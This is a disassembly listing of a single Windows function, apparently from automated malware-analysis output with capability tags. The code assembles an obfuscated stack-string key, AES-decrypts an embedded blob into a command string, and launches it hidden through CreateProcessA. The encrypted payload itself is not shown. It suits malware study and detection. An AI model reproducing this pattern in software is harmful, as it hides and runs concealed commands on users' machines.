Function at 0x4017db
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x428
mov dword [ebp - 0x3d4], sym.___gxx_personality_sj0
mov dword [ebp - 0x3d0], 0x5c15fa
lea eax, [ebp - 0x3cc]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x401b33
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call sym.___main
mov byte [ebp - 0x32a], 0x59
mov byte [ebp - 0x329], 0x6d
mov byte [ebp - 0x328], 0x65
mov byte [ebp - 0x327], 0x36
mov byte [ebp - 0x326], 0x33
mov byte [ebp - 0x325], 0x44
mov byte [ebp - 0x324], 0x7a
mov byte [ebp - 0x323], 0x82
mov byte [ebp - 0x322], 0x4e
mov byte [ebp - 0x321], 0x58
mov byte [ebp - 0x320], 0x74
mov byte [ebp - 0x31f], 0x2f
mov byte [ebp - 0x31e], 0x61
mov byte [ebp - 0x31d], 0x30
mov byte [ebp - 0x31c], 0x2a
mov byte [ebp - 0x31b], 0xbd
mov byte [ebp - 0x31a], 0x75
mov byte [ebp - 0x319], 0x4e
mov byte [ebp - 0x318], 0x47
mov byte [ebp - 0x317], 0x48
mov byte [ebp - 0x316], 0x26
mov byte [ebp - 0x315], 0x36
mov byte [ebp - 0x314], 0x6b
mov byte [ebp - 0x313], 0x55
mov byte [ebp - 0x312], 0x65
mov byte [ebp - 0x311], 0x34
mov byte [ebp - 0x310], 0x74
mov byte [ebp - 0x30f], 0x5f
mov byte [ebp - 0x30e], 0x6b
mov byte [ebp - 0x30d], 0x58
mov byte [ebp - 0x30c], 0x35
mov byte [ebp - 0x30b], 0xba
lea eax, [ebp - 0x32a]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], 0x20
lea eax, [ebp - 0x30a]
mov ecx, eax
call fcn.00544880
lea eax, [ebp - 0x338]
lea edx, [ebp - 0x30a]
mov dword [esp + 8], edx
mov esi, dword [ebp - 0x400]
mov edi, dword [ebp - 0x3fc]
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [ebp - 0x3e8], 1
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
sub esp, 0xc
lea eax, [ebp - 0x30a]
mov ecx, eax
call sym.std::allocator_unsigned_char_::allocator__
lea eax, [ebp - 0x309]
mov ebx, 0x5c8020
mov edx, 0x2f0
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x309]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], 0x2f0
lea eax, [ebp - 0x19]
mov ecx, eax
call fcn.00544880
lea eax, [ebp - 0x344]
lea edx, [ebp - 0x19]
mov dword [esp + 8], edx
mov esi, dword [ebp - 0x3f8]
mov edi, dword [ebp - 0x3f4]
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [ebp - 0x3e8], 2
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_std::initializer_list_unsigned_char___std::allocator_unsigned_char__const_
sub esp, 0xc
lea eax, [ebp - 0x19]
mov ecx, eax
call sym.std::allocator_unsigned_char_::allocator__
lea eax, [ebp - 0x35c]
mov ecx, eax
call fcn.0058b3b0
lea eax, [ebp - 0x35c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x338]
mov dword [esp + 4], eax
lea eax, [ebp - 0x344]
mov dword [esp], eax
mov dword [ebp - 0x3e8], 3
call sym.DecryptAES_std::vector_unsigned_char__std::allocator_unsigned_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x3a0]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x3a0], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x3b0]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x35c]
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, eax
lea eax, [ebp - 0x3b0]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x3a0]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], edx
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [ebp - 0x3f8], 0
lea eax, [ebp - 0x35c]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x344]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea eax, [ebp - 0x338]
mov ecx, eax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x3f8], eax
jmp 0x401bff
lea eax, [ebp - 0x3ec]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x3f8]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret